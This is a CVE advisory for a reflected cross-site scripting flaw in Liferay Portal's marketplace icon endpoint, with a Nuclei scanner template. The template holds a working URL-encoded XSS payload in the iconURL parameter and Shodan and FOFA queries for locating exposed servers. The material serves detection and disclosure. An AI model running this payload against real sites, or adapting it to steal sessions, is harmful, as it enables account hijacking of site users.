CVE-2025-4388: Liferay Portal - Cross-Site Scripting

2025-08-01 Liferay Portal PoC Public

Description

A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.

PoC

id: CVE-2025-4388

info:
  name: Liferay Portal - Cross-Site Scripting
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers through the iconURL parameter in the marketplace app manager, potentially leading to session hijacking and credential theft.
  remediation: |
    Upgrade Liferay Portal or DXP to the latest patched version that properly sanitizes the iconURL parameter.
  reference:
    - https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-4388
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4388
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-4388
    cwe-id: CWE-79
    epss-score: 0.03794
    epss-percentile: 0.89443
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"liferayPortalCSS"
    fofa-query: body="liferayPortalCSS"
  tags: cve,cve2025,liferay,marketplace,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/o/marketplace-app-manager-web/icon.jsp?iconURL=https:///%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'sticker sticker-'
          - '<img src=x onerror=alert(document.domain)>'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205a1b3304500d5a0d0ab8935cb7a65ee6076d0cbc150754ca9a8b34be8dab355d022100a421a08191abfae62421ba6b91c7ac809c2ec1055b065a2cc5c97773e0cba77b:922c64590222798bb761d5b6d8e72950

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